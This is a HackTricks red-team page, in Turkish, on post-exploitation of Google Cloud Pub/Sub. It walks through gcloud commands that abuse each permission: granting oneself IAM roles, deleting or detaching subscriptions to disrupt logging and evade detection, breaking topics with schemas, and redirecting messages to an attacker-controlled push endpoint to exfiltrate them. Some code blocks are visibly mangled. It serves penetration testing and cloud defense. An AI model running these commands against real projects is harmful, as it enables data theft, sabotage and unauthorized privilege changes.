GCP - Pub/Sub Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Pub/Sub

Pub/Sub hakkında daha fazla bilgi için aşağıdaki sayfaya bakın:

GCP - Pub/Sub Enum

pubsub.topics.publish

Bir topic’e mesaj yayınlar; beklenmeyen verileri göndermek ve beklenmeyen işlevleri tetiklemek veya zafiyetleri suistimal etmek için kullanışlıdır:

Topic'e mesaj yayınla ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ```

pubsub.topics.detachSubscription

Bir subscription’ın mesaj almasını engellemek için kullanışlı; belki tespiti önlemek amacıyla.

Konudan subscription'ı ayır ```bash gcloud pubsub topics detach-subscription ```

pubsub.topics.delete

Bir aboneliğin mesaj almasını engellemek için kullanışlıdır, muhtemelen tespiti önlemek amacıyla.
Abonelikler bağlı olsa bile bir konuyu silmek mümkündür.

Konuyu sil ```bash gcloud pubsub topics delete ```

pubsub.topics.update

Bu izni, topic’in bazı ayarlarını değiştirerek onu bozmak için kullanın; örneğin --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key

pubsub.topics.setIamPolicy

Kendinize önceki saldırıları gerçekleştirme izni verin.

# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Bir web sunucusundaki tüm mesajları alın:

Mesajları almak için push subscription oluşturun ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```

Bir abonelik oluşturun ve bunu mesajları çekmek için kullanın:

Pull aboneliği oluşturun ve mesajları çekin ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic

You also need pubsub.subscriptions.consume for this

gcloud pubsub subscriptions pull

This command will wait for a message to be posted

</details>

### `pubsub.subscriptions.delete`

**Aboneliği silmek**, örneğin bir günlük işleme sistemini ya da benzer bir hizmeti aksatmak için faydalı olabilir:

<details>

<summary>Aboneliği sil</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Bu izni, mesajların erişebileceğiniz bir yere (URL, Big Query table, Bucket) kaydedilmesini sağlayacak bir ayarı güncellemek veya sadece aksatmak için kullanın.

Abonelik uç noktasını güncelle ```bash gcloud pubsub subscriptions update --push-endpoint ```

pubsub.subscriptions.setIamPolicy

Daha önce bahsedilen saldırıları gerçekleştirmek için gereken izinleri kendinize verin.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Bir schema’yı bir topic’e iliştirerek mesajların şemaya uymamasını sağlayın ve böylece topic’in aksamasına neden olun.
Eğer herhangi bir schema yoksa, bir tane oluşturmanız gerekebilir.

Schema dosyası oluşturup topic'e ekle ```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Bu, bir şemayı silmenin şemaya uymayan mesajları gönderebilmenizi sağlayacakmış gibi görünebilir. Ancak şema silineceği için hiçbir mesaj aslında topic’e girmeyecektir. Yani bu İŞE YARAMAZ:

Şemayı sil (kullanışsız) ```bash gcloud pubsub schemas delete ```

pubsub.schemas.setIamPolicy

Daha önce bahsedilen attacks’ları gerçekleştirmek için gereken izinleri kendinize verin.

pubsub.snapshots.create, pubsub.snapshots.seek

Bu, tüm unACKed mesajların bir snapshot’ını oluşturur ve bunları subscription’a geri koyar. Bir attacker için çok kullanışlı değil ama işte:

Snapshot oluştur ve ona seek yap ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin